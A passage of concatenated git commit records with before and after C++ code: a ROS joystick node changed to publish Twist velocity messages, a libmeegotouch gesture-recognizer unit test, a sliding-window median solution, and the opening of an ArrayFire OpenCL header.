(!tv_set)\n {\n tv.tv_sec = 1;\n tv.tv_usec = 0;\n }\n\n diagnostic_.update();\n } \/\/ End of joystick open loop.\n\n close(joy_fd);\n ros::spinOnce();\n if (nh_.ok())\n ROS_ERROR(\"Connection to joystick device lost unexpectedly. Will reopen.\");\n }\n\n cleanup:\n ROS_INFO(\"joy_node shut down.\");\n\n return 0;\n }\n};\n\nint main(int argc, char **argv)\n{\n ros::init(argc, argv, \"joy_node\");\n Joystick j;\n return j.main(argc, argv);\n}\n<commit_msg>Joystick node publishes Twist message directly<commit_after>\/*\n * teleop_pr2\n * Copyright (c) 2009, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the <ORGANIZATION> nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/\/\\author: Blaise Gassend\n\n#include <unistd.h>\n#include <math.h>\n#include <linux\/joystick.h>\n#include <fcntl.h>\n#include <ros\/ros.h>\n#include <sensor_msgs\/Joy.h>\n#include <geometry_msgs\/Twist.h>\n\n\n\/\/\/\\brief Opens, reads from and publishes joystick events\nclass Joystick\n{\nprivate:\n ros::NodeHandle nh_;\n bool open_;\n std::string joy_dev_;\n double deadzone_;\n double autorepeat_rate_; \/\/ in Hz. 0 for no repeat.\n double coalesce_interval_; \/\/ Defaults to 100 Hz rate limit.\n int event_count_;\n int pub_count_;\n double lastDiagTime_;\n\n double a_scale_;\n double l_scale_;\n ros::Publisher velocity_publisher_;\n ros::Timer velocity_publish_timer_;\n sensor_msgs::Joy current_joy_message_;\n\n void publish_velocity(ros::TimerEvent event) {\n\t geometry_msgs::Twist vel;\n\t vel.angular.z = a_scale_ * current_joy_message_.axes[3];\n\t vel.linear.x = l_scale_ * current_joy_message_.axes[4];\n\t velocity_publisher_.publish(vel);\n }\n\npublic:\n Joystick() : nh_() {}\n\n \/\/\/\\brief Opens joystick port, reads from port and publishes while node is active\n int main(int argc, char **argv)\n {\n\/\/ diagnostic_.add(\"Joystick Driver Status\", this, &Joystick::diagnostics);\n\/\/ diagnostic_.setHardwareID(\"none\");\n\n \/\/ Parameters\n ros::NodeHandle nh_param(\"~\");\n\n std::string pub_topic;\n nh_param.param<std::string>(\"topic\", pub_topic, \"joy\");\n\n \/\/ pub_ = nh_.advertise<sensor_msgs::Joy>(pub_topic, 1);\n velocity_publisher_ = nh_.advertise<geometry_msgs::Twist>(\"\/joy_cmd_vel\", 100, false);\n velocity_publish_timer_ = nh_.createTimer(ros::Duration(0.1), boost::bind(&Joystick::publish_velocity, this, _1));\n\n nh_param.param<std::string>(\"dev\", joy_dev_, \"\/dev\/input\/js0\");\n nh_param.param<double>(\"deadzone\", deadzone_, 0.05);\n nh_param.param<double>(\"autorepeat_rate\", autorepeat_rate_, 0);\n nh_param.param<double>(\"coalesce_interval\", coalesce_interval_, 0.001);\n\n nh_param.param(\"scale_angular\", a_scale_, 0.9);\n nh_param.param(\"scale_linear\" , l_scale_, 2.0);\n\n \/\/ Checks on parameters\n if (autorepeat_rate_ > 1 \/ coalesce_interval_)\n ROS_WARN(\"joy_node: autorepeat_rate (%f Hz) > 1\/coalesce_interval (%f Hz) does not make sense. Timing behavior is not well defined.\", autorepeat_rate_, 1\/coalesce_interval_);\n\n if (deadzone_ >= 1)\n {\n ROS_WARN(\"joy_node: deadzone greater than 1 was requested. The semantics of deadzone have changed. It is now related to the range [-1:1] instead of [-32767:32767]. For now I am dividing your deadzone by 32767, but this behavior is deprecated so you need to update your launch file.\");\n deadzone_ \/= 32767;\n }\n\n if (deadzone_ > 0.9)\n {\n ROS_WARN(\"joy_node: deadzone (%f) greater than 0.9, setting it to 0.9\", deadzone_);\n deadzone_ = 0.9;\n }\n\n if (deadzone_ < 0)\n {\n ROS_WARN(\"joy_node: deadzone_ (%f) less than 0, setting to 0.\", deadzone_);\n deadzone_ = 0;\n }\n\n if (autorepeat_rate_ < 0)\n {\n ROS_WARN(\"joy_node: autorepeat_rate (%f) less than 0, setting to 0.\", autorepeat_rate_);\n autorepeat_rate_ = 0;\n }\n\n if (coalesce_interval_ < 0)\n {\n ROS_WARN(\"joy_node: coalesce_interval (%f) less than 0, setting to 0.\", coalesce_interval_);\n coalesce_interval_ = 0;\n }\n\n \/\/ Parameter conversions\n double autorepeat_interval = 1 \/ autorepeat_rate_;\n double scale = -1. \/ (1. - deadzone_) \/ 32767.;\n double unscaled_deadzone = 32767. * deadzone_;\n\n js_event event;\n struct timeval tv;\n fd_set set;\n int joy_fd;\n event_count_ = 0;\n pub_count_ = 0;\n lastDiagTime_ = ros::Time::now().toSec();\n\n \/\/ Big while loop opens, publishes\n while (nh_.ok())\n {\n open_ = false;\n\/\/ diagnostic_.force_update();\n bool first_fault = true;\n while (true)\n {\n ros::spinOnce();\n if (!nh_.ok())\n goto cleanup;\n joy_fd = open(joy_dev_.c_str(), O_RDONLY);\n if (joy_fd != -1)\n {\n \/\/ There seems to be a bug in the driver or something where the\n \/\/ initial events that are to define the initial state of the\n \/\/ joystick are not the values of the joystick when it was opened\n \/\/ but rather the values of the joystick when it was last closed.\n \/\/ Opening then closing and opening again is a hack to get more\n \/\/ accurate initial state data.\n close(joy_fd);\n joy_fd = open(joy_dev_.c_str(), O_RDONLY);\n }\n if (joy_fd != -1)\n break;\n if (first_fault)\n {\n ROS_ERROR(\"Couldn't open joystick %s. Will retry every second.\", joy_dev_.c_str());\n first_fault = false;\n }\n sleep(1.0);\n\/\/ diagnostic_.update();\n }\n\n ROS_INFO(\"Opened joystick: %s. deadzone_: %f.\", joy_dev_.c_str(), deadzone_);\n open_ = true;\n\/\/ diagnostic_.force_update();\n\n bool tv_set = false;\n bool publication_pending = false;\n tv.tv_sec = 1;\n tv.tv_usec = 0;\n sensor_msgs::Joy joy_msg; \/\/ Here because we want to reset it on device close.\n while (nh_.ok())\n {\n ros::spinOnce();\n\n bool publish_now = false;\n bool publish_soon = false;\n FD_ZERO(&set);\n FD_SET(joy_fd, &set);\n\n \/\/ROS_INFO(\"Select...\");\n int select_out = select(joy_fd+1, &set, NULL, NULL, &tv);\n \/\/ROS_INFO(\"Tick...\");\n if (select_out == -1)\n {\n tv.tv_sec = 0;\n tv.tv_usec = 0;\n \/\/ROS_INFO(\"Select returned negative. %i\", ros::isShuttingDown());\n continue;\n \/\/\t\t\t\tbreak; \/\/ Joystick is probably closed. Not sure if this case is useful.\n }\n\n if (FD_ISSET(joy_fd, &set))\n {\n if (read(joy_fd, &event, sizeof(js_event)) == -1 && errno != EAGAIN)\n break; \/\/ Joystick is probably closed. Definitely occurs.\n\n \/\/ROS_INFO(\"Read data...\");\n joy_msg.header.stamp = ros::Time().now();\n event_count_++;\n switch(event.type)\n {\n case JS_EVENT_BUTTON:\n case JS_EVENT_BUTTON | JS_EVENT_INIT:\n if(event.number >= joy_msg.buttons.size())\n {\n int old_size = joy_msg.buttons.size();\n joy_msg.buttons.resize(event.number+1);\n for(unsigned int i=old_size;i<joy_msg.buttons.size();i++)\n joy_msg.buttons[i] = 0.0;\n }\n joy_msg.buttons[event.number] = (event.value ? 1 : 0);\n \/\/ For initial events, wait a bit before sending to try to catch\n \/\/ all the initial events.\n if (!(event.type & JS_EVENT_INIT))\n publish_now = true;\n else\n publish_soon = true;\n break;\n case JS_EVENT_AXIS:\n case JS_EVENT_AXIS | JS_EVENT_INIT:\n if(event.number >= joy_msg.axes.size())\n {\n int old_size = joy_msg.axes.size();\n joy_msg.axes.resize(event.number+1);\n for(unsigned int i=old_size;i<joy_msg.axes.size();i++)\n joy_msg.axes[i] = 0.0;\n }\n if (!(event.type & JS_EVENT_INIT)) \/\/ Init event.value is wrong.\n {\n double val = event.value;\n \/\/ Allows deadzone to be \"smooth\"\n if (val > unscaled_deadzone)\n val -= unscaled_deadzone;\n else if (val < -unscaled_deadzone)\n val += unscaled_deadzone;\n else\n val = 0;\n joy_msg.axes[event.number] = val * scale;\n }\n \/\/ Will wait a bit before sending to try to combine events.\n publish_soon = true;\n break;\n default:\n ROS_WARN(\"joy_node: Unknown event type. Please file a ticket. time=%u, value=%d, type=%Xh, number=%d\", event.time, event.value, event.type, event.number);\n break;\n }\n }\n else if (tv_set) \/\/ Assume that the timer has expired.\n publish_now = true;\n\n if (publish_now)\n {\n \/\/ Assume that all the JS_EVENT_INIT messages have arrived already.\n \/\/ This should be the case as the kernel sends them along as soon as\n \/\/ the device opens.\n \/\/ROS_INFO(\"Publish...\");\n\n \/\/ pub_.publish(joy_msg);\n \tcurrent_joy_message_ = joy_msg;\n publish_now = false;\n tv_set = false;\n publication_pending = false;\n publish_soon = false;\n pub_count_++;\n }\n\n \/\/ If an axis event occurred, start a timer to combine with other\n \/\/ events.\n if (!publication_pending && publish_soon)\n {\n tv.tv_sec = trunc(coalesce_interval_);\n tv.tv_usec = (coalesce_interval_ - tv.tv_sec) * 1e6;\n publication_pending = true;\n tv_set = true;\n \/\/ROS_INFO(\"Pub pending...\");\n }\n\n \/\/ If nothing is going on, start a timer to do autorepeat.\n if (!tv_set && autorepeat_rate_ > 0)\n {\n tv.tv_sec = trunc(autorepeat_interval);\n tv.tv_usec = (autorepeat_interval - tv.tv_sec) * 1e6;\n tv_set = true;\n \/\/ROS_INFO(\"Autorepeat pending... %i %i\", tv.tv_sec, tv.tv_usec);\n }\n\n if (!tv_set)\n {\n tv.tv_sec = 1;\n tv.tv_usec = 0;\n }\n\n\/\/ diagnostic_.update();\n } \/\/ End of joystick open loop.\n\n close(joy_fd);\n ros::spinOnce();\n if (nh_.ok())\n ROS_ERROR(\"Connection to joystick device lost unexpectedly. Will reopen.\");\n }\n\n cleanup:\n ROS_INFO(\"joy_node shut down.\");\n\n return 0;\n }\n};\n\nint main(int argc, char **argv)\n{\n ros::init(argc, argv, \"joy_node\");\n Joystick j;\n return j.main(argc, argv);\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n**\n** Copyright (C) 2010, 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"ut_mtapandholdrecognizer.h\"\n#include \"mtapandholdrecognizer.h\"\n#include \"mtapandholdrecognizer_p.h\"\n\n#include \"mtapandholdgesture_p.h\"\n\n#include \"mapplication.h\"\n#include <QGraphicsView>\n#include <QMouseEvent>\n#include <QtTest\/QtTest>\n\nint startTimerInterval;\nint QObject::startTimer(int interval)\n{\n startTimerInterval = interval;\n return 1;\n}\n\nQt::GestureState currentGestureState = Qt::NoGesture;\nQt::GestureState QGesture::state() const\n{\n return currentGestureState;\n}\n\n\/\/Mocking MThemePrivate, because the style object is private to library\n\/\/and we need to compile some functionality into the unittest.\n#include \"mtheme_p.h\"\nvoid MThemePrivate::unregisterStyleContainer(MStyleContainer*)\n{\n}\n\nvoid MThemePrivate::registerStyleContainer(MStyleContainer *)\n{\n}\n\n#include \"mtheme.h\"\n\/\/Filling the values of the style object.\nstatic const int MTapAndHoldSetTimeout = 200; \/* miliseconds *\/\nstatic const int MTapAndHoldStyleTimeout = 500; \/* miliseconds *\/\nstatic const qreal MTapAndHoldMovementThreshold = 20; \/* pixels *\/\n\nMTapAndHoldRecognizerStyle recognizerStyle;\nconst MStyle *MTheme::style(const char *,\n const QString &) {\n recognizerStyle.setTimeout(MTapAndHoldStyleTimeout);\n recognizerStyle.setMovementThreshold(MTapAndHoldMovementThreshold);\n return &recognizerStyle;\n}\n\nvoid MTheme::releaseStyle(const MStyle *)\n{\n}\n\nMApplication *app;\nQGraphicsView *view;\nvoid Ut_MTapAndHoldRecognizer::initTestCase()\n{\n static int argc = 1;\n static char *app_name[1] = { (char *) \".\/ut_mtapandholdrecognizer\" };\n app = new MApplication(argc, app_name);\n\n view = new QGraphicsView();\n view->show();\n}\n\nvoid Ut_MTapAndHoldRecognizer::cleanupTestCase()\n{\n delete app;\n}\n\nvoid Ut_MTapAndHoldRecognizer::init()\n{\n startTimerInterval = -1;\n\n recognizer = new MTapAndHoldRecognizer();\n}\n\nvoid Ut_MTapAndHoldRecognizer::cleanup()\n{\n delete recognizer;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testCreateGesture()\n{\n tapAndHoldGesture = static_cast<MTapAndHoldGesture*>(recognizer->create(view));\n}\n\nvoid Ut_MTapAndHoldRecognizer::testRecognize()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n QTimerEvent fakeTimerEvent(tapAndHoldGesture->timerId);\n currentState = recognizer->recognize(tapAndHoldGesture, tapAndHoldGesture, &fakeTimerEvent);\n QCOMPARE( currentState, QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint );\n\n delete pressEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testFastTap()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QMouseEvent *releaseEvent = new QMouseEvent(QEvent::MouseButtonRelease, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n \/\/Setting timerId as would happen in real life scenario\n tapAndHoldGesture->timerId = 1;\n\n currentState = recognizer->recognize(tapAndHoldGesture, 0, releaseEvent);\n QCOMPARE( currentState, QGestureRecognizer::CancelGesture);\n\n delete pressEvent;\n delete releaseEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testMovePointerInsideThreshold()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QMouseEvent *moveEvent = new QMouseEvent(QEvent::MouseMove, QPoint(3,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n currentGestureState = Qt::GestureStarted;\n\n currentState = recognizer->recognize(tapAndHoldGesture, 0, moveEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n QTimerEvent fakeTimerEvent(tapAndHoldGesture->timerId);\n currentState = recognizer->recognize(tapAndHoldGesture, tapAndHoldGesture, &fakeTimerEvent);\n QCOMPARE( currentState, QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint );\n\n delete pressEvent;\n delete moveEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testMovePointerBeyondThreshold()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QMouseEvent *moveEvent = new QMouseEvent(QEvent::MouseMove, QPoint(50,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n currentGestureState = Qt::GestureStarted;\n\n currentState = recognizer->recognize(tapAndHoldGesture, 0, moveEvent);\n QCOMPARE( currentState, QGestureRecognizer::CancelGesture);\n\n delete pressEvent;\n delete moveEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testUsingStyleTimeout()\n{\n QMouseEvent pressEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QGestureRecognizer::Result currentState = recognizer->recognize(tapAndHoldGesture, 0, &pressEvent);\n\n \/\/ Verify that timeout from style is used when no timeout is set\n QCOMPARE(startTimerInterval, MTapAndHoldStyleTimeout);\n}\n\nvoid Ut_MTapAndHoldRecognizer::testSetTimeout()\n{\n QTapAndHoldGesture::setTimeout(MTapAndHoldSetTimeout);\n\n QMouseEvent pressEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QGestureRecognizer::Result currentState = recognizer->recognize(tapAndHoldGesture, 0, &pressEvent);\n\n \/\/ Verify that timeout that was set is used\n QCOMPARE(startTimerInterval, MTapAndHoldSetTimeout);\n}\n\nvoid Ut_MTapAndHoldRecognizer::testResetTimeout()\n{\n QTapAndHoldGesture::setTimeout(MTapAndHoldSetTimeout);\n\n \/\/ Reset timeout\n QTapAndHoldGesture::setTimeout(-1);\n\n QMouseEvent pressEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QGestureRecognizer::Result currentState = recognizer->recognize(tapAndHoldGesture, 0, &pressEvent);\n\n \/\/ Verify that as timeout was resetted then timeout from style is used\n QCOMPARE(startTimerInterval, MTapAndHoldStyleTimeout);\n}\n\nQTEST_APPLESS_MAIN(Ut_MTapAndHoldRecognizer)\n\n<commit_msg>Changes: More sensitive build in OBS forces unused variables check RevBy:TrustMe Details:<commit_after>\/***************************************************************************\n**\n** Copyright (C) 2010, 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"ut_mtapandholdrecognizer.h\"\n#include \"mtapandholdrecognizer.h\"\n#include \"mtapandholdrecognizer_p.h\"\n\n#include \"mtapandholdgesture_p.h\"\n\n#include \"mapplication.h\"\n#include <QGraphicsView>\n#include <QMouseEvent>\n#include <QtTest\/QtTest>\n\nint startTimerInterval;\nint QObject::startTimer(int interval)\n{\n startTimerInterval = interval;\n return 1;\n}\n\nQt::GestureState currentGestureState = Qt::NoGesture;\nQt::GestureState QGesture::state() const\n{\n return currentGestureState;\n}\n\n\/\/Mocking MThemePrivate, because the style object is private to library\n\/\/and we need to compile some functionality into the unittest.\n#include \"mtheme_p.h\"\nvoid MThemePrivate::unregisterStyleContainer(MStyleContainer*)\n{\n}\n\nvoid MThemePrivate::registerStyleContainer(MStyleContainer *)\n{\n}\n\n#include \"mtheme.h\"\n\/\/Filling the values of the style object.\nstatic const int MTapAndHoldSetTimeout = 200; \/* miliseconds *\/\nstatic const int MTapAndHoldStyleTimeout = 500; \/* miliseconds *\/\nstatic const qreal MTapAndHoldMovementThreshold = 20; \/* pixels *\/\n\nMTapAndHoldRecognizerStyle recognizerStyle;\nconst MStyle *MTheme::style(const char *,\n const QString &) {\n recognizerStyle.setTimeout(MTapAndHoldStyleTimeout);\n recognizerStyle.setMovementThreshold(MTapAndHoldMovementThreshold);\n return &recognizerStyle;\n}\n\nvoid MTheme::releaseStyle(const MStyle *)\n{\n}\n\nMApplication *app;\nQGraphicsView *view;\nvoid Ut_MTapAndHoldRecognizer::initTestCase()\n{\n static int argc = 1;\n static char *app_name[1] = { (char *) \".\/ut_mtapandholdrecognizer\" };\n app = new MApplication(argc, app_name);\n\n view = new QGraphicsView();\n view->show();\n}\n\nvoid Ut_MTapAndHoldRecognizer::cleanupTestCase()\n{\n delete app;\n}\n\nvoid Ut_MTapAndHoldRecognizer::init()\n{\n startTimerInterval = -1;\n\n recognizer = new MTapAndHoldRecognizer();\n}\n\nvoid Ut_MTapAndHoldRecognizer::cleanup()\n{\n delete recognizer;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testCreateGesture()\n{\n tapAndHoldGesture = static_cast<MTapAndHoldGesture*>(recognizer->create(view));\n}\n\nvoid Ut_MTapAndHoldRecognizer::testRecognize()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n QTimerEvent fakeTimerEvent(tapAndHoldGesture->timerId);\n currentState = recognizer->recognize(tapAndHoldGesture, tapAndHoldGesture, &fakeTimerEvent);\n QCOMPARE( currentState, QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint );\n\n delete pressEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testFastTap()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QMouseEvent *releaseEvent = new QMouseEvent(QEvent::MouseButtonRelease, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n \/\/Setting timerId as would happen in real life scenario\n tapAndHoldGesture->timerId = 1;\n\n currentState = recognizer->recognize(tapAndHoldGesture, 0, releaseEvent);\n QCOMPARE( currentState, QGestureRecognizer::CancelGesture);\n\n delete pressEvent;\n delete releaseEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testMovePointerInsideThreshold()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QMouseEvent *moveEvent = new QMouseEvent(QEvent::MouseMove, QPoint(3,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n currentGestureState = Qt::GestureStarted;\n\n currentState = recognizer->recognize(tapAndHoldGesture, 0, moveEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n QTimerEvent fakeTimerEvent(tapAndHoldGesture->timerId);\n currentState = recognizer->recognize(tapAndHoldGesture, tapAndHoldGesture, &fakeTimerEvent);\n QCOMPARE( currentState, QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint );\n\n delete pressEvent;\n delete moveEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testMovePointerBeyondThreshold()\n{\n QMouseEvent *pressEvent = new QMouseEvent(QEvent::MouseButtonPress, QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QMouseEvent *moveEvent = new QMouseEvent(QEvent::MouseMove, QPoint(50,0), Qt::LeftButton, Qt::LeftButton, 0);\n\n QGestureRecognizer::Result currentState;\n currentState = recognizer->recognize(tapAndHoldGesture, 0, pressEvent);\n QCOMPARE( currentState, QGestureRecognizer::TriggerGesture);\n\n currentGestureState = Qt::GestureStarted;\n\n currentState = recognizer->recognize(tapAndHoldGesture, 0, moveEvent);\n QCOMPARE( currentState, QGestureRecognizer::CancelGesture);\n\n delete pressEvent;\n delete moveEvent;\n}\n\nvoid Ut_MTapAndHoldRecognizer::testUsingStyleTimeout()\n{\n QMouseEvent pressEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QGestureRecognizer::Result currentState = recognizer->recognize(tapAndHoldGesture, 0, &pressEvent);\n Q_UNUSED(currentState);\n\n \/\/ Verify that timeout from style is used when no timeout is set\n QCOMPARE(startTimerInterval, MTapAndHoldStyleTimeout);\n}\n\nvoid Ut_MTapAndHoldRecognizer::testSetTimeout()\n{\n QTapAndHoldGesture::setTimeout(MTapAndHoldSetTimeout);\n\n QMouseEvent pressEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QGestureRecognizer::Result currentState = recognizer->recognize(tapAndHoldGesture, 0, &pressEvent);\n Q_UNUSED(currentState);\n\n \/\/ Verify that timeout that was set is used\n QCOMPARE(startTimerInterval, MTapAndHoldSetTimeout);\n}\n\nvoid Ut_MTapAndHoldRecognizer::testResetTimeout()\n{\n QTapAndHoldGesture::setTimeout(MTapAndHoldSetTimeout);\n\n \/\/ Reset timeout\n QTapAndHoldGesture::setTimeout(-1);\n\n QMouseEvent pressEvent(QEvent::MouseButtonPress, QPoint(0,0), QPoint(0,0), Qt::LeftButton, Qt::LeftButton, 0);\n QGestureRecognizer::Result currentState = recognizer->recognize(tapAndHoldGesture, 0, &pressEvent);\n Q_UNUSED(currentState);\n\n \/\/ Verify that as timeout was resetted then timeout from style is used\n QCOMPARE(startTimerInterval, MTapAndHoldStyleTimeout);\n}\n\nQTEST_APPLESS_MAIN(Ut_MTapAndHoldRecognizer)\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Time: O(nlogw)\n\/\/ Space: O(w)\n\nclass Solution {\npublic:\nvector<double> medianSlidingWindow(vector<int>& nums, int k) {\n multiset<int, less<int>> min_bst;\n multiset<int, greater<int>> max_bst;\n\n vector<double> result;\n for (int i = 0; i < nums.size(); ++i) {\n if (i >= k) {\n if (max_bst.find(nums[i - k]) != max_bst.cend()) {\n max_bst.erase(max_bst.find(nums[i - k]));\n } else {\n min_bst.erase(min_bst.find(nums[i - k]));\n }\n }\n\n if (max_bst.empty() || nums[i] > *max_bst.cbegin()) {\n min_bst.emplace(nums[i]);\n if (min_bst.size() > max_bst.size() + 1) {\n max_bst.emplace(*min_bst.cbegin());\n min_bst.erase(min_bst.cbegin());\n }\n } else {\n max_bst.emplace(nums[i]);\n if (max_bst.size() > min_bst.size()) {\n min_bst.emplace(*max_bst.cbegin());\n max_bst.erase(max_bst.cbegin());\n }\n }\n\n if (i >= k - 1) {\n result.emplace_back(min_bst.size() == max_bst.size() ?\n *max_bst.cbegin() \/ 2.0 + *min_bst.cbegin() \/ 2.0 : *min_bst.cbegin());\n }\n }\n\n return result;\n }\n};\n<commit_msg>Update sliding-window-median.cpp<commit_after>\/\/ Time: O(nlogk)\n\/\/ Space: O(k)\n\nclass Solution {\npublic:\nvector<double> medianSlidingWindow(vector<int>& nums, int k) {\n multiset<int, less<int>> min_bst;\n multiset<int, greater<int>> max_bst;\n\n vector<double> result;\n for (int i = 0; i < nums.size(); ++i) {\n if (i >= k) {\n if (max_bst.find(nums[i - k]) != max_bst.cend()) {\n max_bst.erase(max_bst.find(nums[i - k]));\n } else {\n min_bst.erase(min_bst.find(nums[i - k]));\n }\n }\n\n if (max_bst.empty() || nums[i] > *max_bst.cbegin()) {\n min_bst.emplace(nums[i]);\n if (min_bst.size() > max_bst.size() + 1) {\n max_bst.emplace(*min_bst.cbegin());\n min_bst.erase(min_bst.cbegin());\n }\n } else {\n max_bst.emplace(nums[i]);\n if (max_bst.size() > min_bst.size()) {\n min_bst.emplace(*max_bst.cbegin());\n max_bst.erase(max_bst.cbegin());\n }\n }\n\n if (i >= k - 1) {\n result.emplace_back(min_bst.size() == max_bst.size() ?\n *max_bst.cbegin() \/ 2.0 + *min_bst.cbegin() \/ 2.0 : *min_bst.cbegin());\n }\n }\n\n return result;\n }\n};\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************\n * Copyright (c) 2016, ArrayFire\n * All rights reserved.\n *\n * This file is distributed under 3-clause BSD license.\n * The complete license agreement can be obtained at:\n * http:\/\/arrayfire.com\/licenses\/BSD-3-Clause\n ********************************************************\/\n\n#pragma once\n\n#include <Param.hpp>\n#include <common\/dispatch.hpp>\n#include <common\/kernel_cache.hpp>\n#include <debug_opencl.hpp>\n#include <kernel\/config.hpp>\n#include <kernel\/reduce.hpp>\n#include <kernel\/scan_dim.hpp>\n#include <kernel\/scan_first.hpp>\n#include <kernel_headers\/csrmm.hpp>\n#include <traits.hpp>\n#include <af\/opencl.h>\n\n#include <string>\n#include <vector>\n\nnamespace 